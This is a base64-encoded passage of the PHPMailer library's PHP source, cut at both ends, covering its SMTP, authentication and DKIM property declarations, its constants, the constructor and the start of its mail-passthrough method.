gc2luZ2xlIGhvc3RuYW1lIG9yIG11bHRpcGxlIHNlbWljb2xvbi1kZWxpbWl0ZWQgaG9zdG5hbWVzLgogICAgICogWW91IGNhbiBhbHNvIHNwZWNpZnkgYSBkaWZmZXJlbnQgcG9ydAogICAgICogZm9yIGVhY2ggaG9zdCBieSB1c2luZyB0aGlzIGZvcm1hdDogW2hvc3RuYW1lOnBvcnRdCiAgICAgKiAoZS5nLiAic210cDEuZXhhbXBsZS5jb206MjU7c210cDIuZXhhbXBsZS5jb20iKS4KICAgICAqIFlvdSBjYW4gYWxzbyBzcGVjaWZ5IGVuY3J5cHRpb24gdHlwZSwgZm9yIGV4YW1wbGU6CiAgICAgKiAoZS5nLiAidGxzOi8vc210cDEuZXhhbXBsZS5jb206NTg3O3NzbDovL3NtdHAyLmV4YW1wbGUuY29tOjQ2NSIpLgogICAgICogSG9zdHMgd2lsbCBiZSB0cmllZCBpbiBvcmRlci4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSG9zdCA9ICdsb2NhbGhvc3QnOwoKICAgIC8qKgogICAgICogVGhlIGRlZmF1bHQgU01UUCBzZXJ2ZXIgcG9ydC4KICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQFRPRE8gV2h5IGlzIHRoaXMgbmVlZGVkIHdoZW4gdGhlIFNNVFAgY2xhc3MgdGFrZXMgY2FyZSBvZiBpdD8KICAgICAqLwogICAgcHVibGljICRQb3J0ID0gMjU7CgogICAgLyoqCiAgICAgKiBUaGUgU01UUCBIRUxPIG9mIHRoZSBtZXNzYWdlLgogICAgICogRGVmYXVsdCBpcyAkSG9zdG5hbWUuIElmICRIb3N0bmFtZSBpcyBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQKICAgICAqIG9uZSB3aXRoIHRoZSBzYW1lIG1ldGhvZCBkZXNjcmliZWQgYWJvdmUgZm9yICRIb3N0bmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JEhvc3RuYW1lCiAgICAgKi8KICAgIHB1YmxpYyAkSGVsbyA9ICcnOwoKICAgIC8qKgogICAgICogV2hhdCBraW5kIG9mIGVuY3J5cHRpb24gdG8gdXNlIG9uIHRoZSBTTVRQIGNvbm5lY3Rpb24uCiAgICAgKiBPcHRpb25zOiAnJywgJ3NzbCcgb3IgJ3RscycKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUFNlY3VyZSA9ICcnOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBlbmFibGUgVExTIGVuY3J5cHRpb24gYXV0b21hdGljYWxseSBpZiBhIHNlcnZlciBzdXBwb3J0cyBpdCwKICAgICAqIGV2ZW4gaWYgYFNNVFBTZWN1cmVgIGlzIG5vdCBzZXQgdG8gJ3RscycuCiAgICAgKiBCZSBhd2FyZSB0aGF0IGluIFBIUCA+PSA1LjYgdGhpcyByZXF1aXJlcyB0aGF0IHRoZSBzZXJ2ZXIncyBjZXJ0aWZpY2F0ZXMgYXJlIHZhbGlkLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dG9UTFMgPSB0cnVlOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byB1c2UgU01UUCBhdXRoZW50aWNhdGlvbi4KICAgICAqIFVzZXMgdGhlIFVzZXJuYW1lIGFuZCBQYXNzd29yZCBwcm9wZXJ0aWVzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFVzZXJuYW1lCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFBhc3N3b3JkCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dGggPSBmYWxzZTsKCiAgICAvKioKICAgICAqIE9wdGlvbnMgYXJyYXkgcGFzc2VkIHRvIHN0cmVhbV9jb250ZXh0X2NyZWF0ZSB3aGVuIGNvbm5lY3RpbmcgdmlhIFNNVFAuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyAkU01UUE9wdGlvbnMgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogU01UUCB1c2VybmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlcm5hbWUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcGFzc3dvcmQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFBhc3N3b3JkID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGF1dGggdHlwZS4KICAgICAqIE9wdGlvbnMgYXJlIENSQU0tTUQ1LCBMT0dJTiwgUExBSU4sIE5UTE0sIFhPQVVUSDIsIGF0dGVtcHRlZCBpbiB0aGF0IG9yZGVyIGlmIG5vdCBzcGVjaWZpZWQKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQXV0aFR5cGUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcmVhbG0uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkUmVhbG0gPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgd29ya3N0YXRpb24uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkV29ya3N0YXRpb24gPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTTVRQIHNlcnZlciB0aW1lb3V0IGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRUaW1lb3V0ID0gMzAwOwoKICAgIC8qKgogICAgICogU01UUCBjbGFzcyBkZWJ1ZyBvdXRwdXQgbW9kZS4KICAgICAqIERlYnVnIG91dHB1dCBsZXZlbC4KICAgICAqIE9wdGlvbnM6CiAgICAgKiAqIGAwYCBObyBvdXRwdXQKICAgICAqICogYDFgIENvbW1hbmRzCiAgICAgKiAqIGAyYCBEYXRhIGFuZCBjb21tYW5kcwogICAgICogKiBgM2AgQXMgMiBwbHVzIGNvbm5lY3Rpb24gc3RhdHVzCiAgICAgKiAqIGA0YCBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQKICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQHNlZSBTTVRQOjokZG9fZGVidWcKICAgICAqLwogICAgcHVibGljICRTTVRQRGVidWcgPSAwOwoKICAgIC8qKgogICAgICogSG93IHRvIGhhbmRsZSBkZWJ1ZyBvdXRwdXQuCiAgICAgKiBPcHRpb25zOgogICAgICogKiBgZWNob2AgT3V0cHV0IHBsYWluLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkKICAgICAqICogYGh0bWxgIE91dHB1dCBlc2NhcGVkLCBsaW5lIGJyZWFrcyBjb252ZXJ0ZWQgdG8gYDxicj5gLCBhcHByb3ByaWF0ZSBmb3IgYnJvd3NlciBvdXRwdXQKICAgICAqICogYGVycm9yX2xvZ2AgT3V0cHV0IHRvIGVycm9yIGxvZyBhcyBjb25maWd1cmVkIGluIHBocC5pbmkKICAgICAqCiAgICAgKiBBbHRlcm5hdGl2ZWx5LCB5b3UgY2FuIHByb3ZpZGUgYSBjYWxsYWJsZSBleHBlY3RpbmcgdHdvIHBhcmFtczogYSBtZXNzYWdlIHN0cmluZyBhbmQgdGhlIGRlYnVnIGxldmVsOgogICAgICogPGNvZGU+CiAgICAgKiAkbWFpbC0+RGVidWdvdXRwdXQgPSBmdW5jdGlvbigkc3RyLCAkbGV2ZWwpIHtlY2hvICJkZWJ1ZyBsZXZlbCAkbGV2ZWw7IG1lc3NhZ2U6ICRzdHIiO307CiAgICAgKiA8L2NvZGU+CiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQKICAgICAqLwogICAgcHVibGljICREZWJ1Z291dHB1dCA9ICdlY2hvJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8ga2VlcCBTTVRQIGNvbm5lY3Rpb24gb3BlbiBhZnRlciBlYWNoIG1lc3NhZ2UuCiAgICAgKiBJZiB0aGlzIGlzIHNldCB0byB0cnVlIHRoZW4gdG8gY2xvc2UgdGhlIGNvbm5lY3Rpb24KICAgICAqIHJlcXVpcmVzIGFuIGV4cGxpY2l0IGNhbGwgdG8gc210cENsb3NlKCkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIHNwbGl0IG11bHRpcGxlIHRvIGFkZHJlc3NlcyBpbnRvIG11bHRpcGxlIG1lc3NhZ2VzCiAgICAgKiBvciBzZW5kIHRoZW0gYWxsIGluIG9uZSBtZXNzYWdlLgogICAgICogT25seSBzdXBwb3J0ZWQgaW4gYG1haWxgIGFuZCBgc2VuZG1haWxgIHRyYW5zcG9ydHMsIG5vdCBpbiBTTVRQLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFN0b3JhZ2UgZm9yIGFkZHJlc3NlcyB3aGVuIFNpbmdsZVRvIGlzIGVuYWJsZWQuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAVE9ETyBUaGlzIHNob3VsZCByZWFsbHkgbm90IGJlIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBnZW5lcmF0ZSBWRVJQIGFkZHJlc3NlcyBvbiBzZW5kLgogICAgICogT25seSBhcHBsaWNhYmxlIHdoZW4gc2VuZGluZyB2aWEgU01UUC4KICAgICAqIEBsaW5rIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhcmlhYmxlX2VudmVsb3BlX3JldHVybl9wYXRoCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBvc3RmaXgub3JnL1ZFUlBfUkVBRE1FLmh0bWwgUG9zdGZpeCBWRVJQIGluZm8KICAgICAqIEB2YXIgYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gYWxsb3cgc2VuZGluZyBtZXNzYWdlcyB3aXRoIGFuIGVtcHR5IGJvZHkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRBbGxvd0VtcHR5ID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBUaGUgZGVmYXVsdCBsaW5lIGVuZGluZy4KICAgICAqIEBub3RlIFRoZSBkZWZhdWx0IHJlbWFpbnMgIlxuIi4gV2UgZm9yY2UgQ1JMRiB3aGVyZSB3ZSBrbm93CiAgICAgKiAgICAgICAgaXQgbXVzdCBiZSB1c2VkIHZpYSBzZWxmOjpDUkxGLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRMRSA9ICJcbiI7CgogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX2lkZW50aXR5ID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHBhc3NwaHJhc2UuCiAgICAgKiBVc2VkIGlmIHlvdXIga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wYXNzcGhyYXNlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHNpZ25pbmcgZG9tYWluIG5hbWUuCiAgICAgKiBAZXhhbXBsZSAnZXhhbXBsZS5jb20nCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4KICAgICAqIElmIHNldCwgdGFrZXMgcHJlY2VkZW5jZSBvdmVyIGAkREtJTV9wcml2YXRlYC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOwoKICAgIC8qKgogICAgICogQ2FsbGJhY2sgQWN0aW9uIGZ1bmN0aW9uIG5hbWUuCiAgICAgKgogICAgICogVGhlIGZ1bmN0aW9uIHRoYXQgaGFuZGxlcyB0aGUgcmVzdWx0IG9mIHRoZSBzZW5kIGVtYWlsIGFjdGlvbi4KICAgICAqIEl0IGlzIGNhbGxlZCBvdXQgYnkgc2VuZCgpIGZvciBlYWNoIGVtYWlsIHNlbnQuCiAgICAgKgogICAgICogVmFsdWUgY2FuIGJlIGFueSBwaHAgY2FsbGFibGU6IGh0dHA6Ly93d3cucGhwLm5ldC9pc19jYWxsYWJsZQogICAgICoKICAgICAqIFBhcmFtZXRlcnM6CiAgICAgKiAgIGJvb2xlYW4gJHJlc3VsdCAgICAgICAgcmVzdWx0IG9mIHRoZSBzZW5kIGFjdGlvbgogICAgICogICBhcnJheSAgICR0byAgICAgICAgICAgIGVtYWlsIGFkZHJlc3NlcyBvZiB0aGUgcmVjaXBpZW50cwogICAgICogICBhcnJheSAgICRjYyAgICAgICAgICAgIGNjIGVtYWlsIGFkZHJlc3NlcwogICAgICogICBhcnJheSAgICRiY2MgICAgICAgICAgIGJjYyBlbWFpbCBhZGRyZXNzZXMKICAgICAqICAgc3RyaW5nICAkc3ViamVjdCAgICAgICB0aGUgc3ViamVjdAogICAgICogICBzdHJpbmcgICRib2R5ICAgICAgICAgIHRoZSBlbWFpbCBib2R5CiAgICAgKiAgIHN0cmluZyAgJGZyb20gICAgICAgICAgZW1haWwgYWRkcmVzcyBvZiBzZW5kZXIKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uID0gJyc7CgogICAgLyoqCiAgICAgKiBXaGF0IHRvIHB1dCBpbiB0aGUgWC1NYWlsZXIgaGVhZGVyLgogICAgICogT3B0aW9uczogQW4gZW1wdHkgc3RyaW5nIGZvciBQSFBNYWlsZXIgZGVmYXVsdCwgd2hpdGVzcGFjZSBmb3Igbm9uZSwgb3IgYSBzdHJpbmcgdG8gdXNlCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFhNYWlsZXIgPSAnICc7CgogICAgLyoqCiAgICAgKiBXaGljaCB2YWxpZGF0b3IgdG8gdXNlIGJ5IGRlZmF1bHQgd2hlbiB2YWxpZGF0aW5nIGVtYWlsIGFkZHJlc3Nlcy4KICAgICAqIE1heSBiZSBhIGNhbGxhYmxlIHRvIGluamVjdCB5b3VyIG93biB2YWxpZGF0b3IsIGJ1dCB0aGVyZSBhcmUgc2V2ZXJhbCBidWlsdC1pbiB2YWxpZGF0b3JzLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygpCiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljICR2YWxpZGF0b3IgPSAnYXV0byc7CgogICAgLyoqCiAgICAgKiBBbiBpbnN0YW5jZSBvZiB0aGUgU01UUCBzZW5kZXIgY2xhc3MuCiAgICAgKiBAdmFyIFNNVFAKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc210cCA9IG51bGw7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ3RvJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRjYyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2JjYycgbmFtZXMgYW5kIGFkZHJlc3Nlcy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYmNjID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiByZXBseS10byBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMuCiAgICAgKiBJbmNsdWRlcyBhbGwgb2YgJHRvLCAkY2MsICRiY2MKICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqLwogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBBbiBhcnJheSBvZiBuYW1lcyBhbmQgYWRkcmVzc2VzIHF1ZXVlZCBmb3IgdmFsaWRhdGlvbi4KICAgICAqIEluIHNlbmQoKSwgdmFsaWQgYW5kIG5vbiBkdXBsaWNhdGUgZW50cmllcyBhcmUgbW92ZWQgdG8gJGFsbF9yZWNpcGllbnRzCiAgICAgKiBhbmQgb25lIG9mICR0bywgJGNjLCBvciAkYmNjLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokYWxsX3JlY2lwaWVudHMKICAgICAqLwogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogQW4gYXJyYXkgb2YgcmVwbHktdG8gbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRSZXBseVRvLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFJlcGx5VG8KICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF0dGFjaG1lbnRzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRhdHRhY2htZW50ID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiBjdXN0b20gaGVhZGVycy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBtb3N0IHJlY2VudCBNZXNzYWdlLUlEIChpbmNsdWRpbmcgYW5ndWxhciBicmFja2V0cykuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRsYXN0TWVzc2FnZUlEID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSdzIE1JTUUgdHlwZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJG1lc3NhZ2VfdHlwZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIE1JTUUgYm91bmRhcnkgc3RyaW5ncy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFnZXMuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBudW1iZXIgb2YgZXJyb3JzIGVuY291bnRlcmVkLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUgY2VydGlmaWNhdGUgZmlsZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBvcHRpb25hbCBTL01JTUUgZXh0cmEgY2VydGlmaWNhdGVzICgiQ0EgQ2hhaW4iKSBmaWxlIHBhdGguCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFMvTUlNRSBwYXNzd29yZCBmb3IgdGhlIGtleS4KICAgICAqIFVzZWQgb25seSBpZiB0aGUga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3MgPSAnJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gdGhyb3cgZXhjZXB0aW9ucyBmb3IgZXJyb3JzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFVuaXF1ZSBJRCB1c2VkIGZvciBtZXNzYWdlIElEIGFuZCBib3VuZGFyaWVzLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsKCiAgICAvKioKICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlIG9ubHksIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfTUVTU0FHRSA9IDA7CgogICAgLyoqCiAgICAgKiBFcnJvciBzZXZlcml0eTogbWVzc2FnZSwgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOwoKICAgIC8qKgogICAgICogRXJyb3Igc2V2ZXJpdHk6IG1lc3NhZ2UsIHBsdXMgZnVsbCBzdG9wLCBjcml0aWNhbCBlcnJvciByZWFjaGVkLgogICAgICovCiAgICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsKCiAgICAvKioKICAgICAqIFNNVFAgUkZDIHN0YW5kYXJkIGxpbmUgZW5kaW5nLgogICAgICovCiAgICBjb25zdCBDUkxGID0gIlxyXG4iOwoKICAgIC8qKgogICAgICogVGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgY29uc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4OwoKICAgIC8qKgogICAgICogQ29uc3RydWN0b3IuCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkZXhjZXB0aW9ucyBTaG91bGQgd2UgdGhyb3cgZXh0ZXJuYWwgZXhjZXB0aW9ucz8KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJGV4Y2VwdGlvbnMgIT09IG51bGwpIHsKICAgICAgICAgICAgJHRoaXMtPmV4Y2VwdGlvbnMgPSAoYm9vbGVhbikkZXhjZXB0aW9uczsKICAgICAgICB9CiAgICAgICAgLy9QaWNrIGFuIGFwcHJvcHJpYXRlIGRlYnVnIG91dHB1dCBmb3JtYXQgYXV0b21hdGljYWxseQogICAgICAgICR0aGlzLT5EZWJ1Z291dHB1dCA9IChzdHJwb3MoUEhQX1NBUEksICdjbGknKSAhPT0gZmFsc2UgPyAnZWNobycgOiAnaHRtbCcpOwogICAgfQoKICAgIC8qKgogICAgICogRGVzdHJ1Y3Rvci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIC8vQ2xvc2UgYW55IG9wZW4gU01UUCBjb25uZWN0aW9uIG5pY2VseQogICAgICAgICR0aGlzLT5zbXRwQ2xvc2UoKTsKICAgIH0KCiAgICAvKioKICAgICAqIENhbGwgbWFpbCgpIGluIGEgc2FmZV9tb2RlLWF3YXJlIGZhc2hpb24uCiAgICAgKiBBbHNvLCB1bmxlc3Mgc2VuZG1haWxfcGF0aCBwb2ludHMgdG8gc2VuZG1haWwgKG9yIHNvbWV0aGluZyB0aGF0CiAgICAgKiBjbGFpbXMgdG8gYmUgc2VuZG1haWwpLCBkb24ndCBwYXNzIHBhcmFtcyAobm90IGEgcGVyZmVjdCBmaXgsCiAgICAgKiBidXQgaXQgd2lsbCBkbykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHRvIFRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdWJqZWN0IFN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgTWVzc2FnZSBCb2R5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgQWRkaXRpb25hbCBIZWFkZXIocykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhcmFtcyBQYXJhbXMKICAgICAqIEBhY2Nlc3MgcHJpdmF0ZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKQogICAgewogICAgICAgIC8vQ2hlY2sgb3ZlcmxvYWRpbmcgb2YgbWFpbCBmdW5jdGlvbiB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICBpZiAoaW5pX2dldCgnbWJzdHJpbmcuZnVuY19vdmVybG9hZCcpICYgMSkgewogICAgICAgICAgICAkc3ViamVjdCA9ICR0aGlzLT5zZWN1cmVIZWFkZXIoJHN1YmplY3QpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzdWJqZWN0ID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGV